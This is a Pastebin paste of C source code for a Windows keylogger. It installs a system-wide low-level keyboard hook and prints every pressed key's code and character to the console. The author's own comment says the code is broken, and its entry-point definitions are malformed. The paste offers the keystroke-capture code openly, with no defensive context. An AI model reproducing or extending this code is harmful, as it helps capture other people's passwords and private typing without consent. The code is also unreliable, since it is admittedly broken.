Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <windows.h>
- // code is broken, fuck online compilers
- HHOOK hKeyHook;
- MSG message;
- KBDLLHOOKSTRUCT kbdStruct;
- LRESULT WINAPI keyEvent (int nCode, WPARAM wParam, LPARAM lParam);
- int _tmain (int argc, _TCHAR* argv[]) {
- hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,
- (HOOKPROC) keyEvent, GetModuleHandle(NULL), 0);
- while (GetMessage (&message, NULL, 0, 0))
- {
- TranslateMessage(&message);
- DispatchMessage(&message);
- }
- UnhookWindowsHookEx(hKeyHook);
- return 0;
- }
- int WinMain(int argc, _TCHAR* argv[]) { _tmain(argc, argv); }
- LRESULT WINAPI keyEvent (int nCode, WPARAM wParam, LPARAM lParam)
- {
- if ( (nCode == HC_ACTION) &&
- ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
- {
- kbdStruct = * ( (KBDLLHOOKSTRUCT *) lParam);
- printf("%X\t%c\n", (unsigned int) kbdStruct.vkCode, (char) kbdStruct.vkCode);
- }
- return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
- }
Advertisement
Add Comment
Please, Sign In to add comment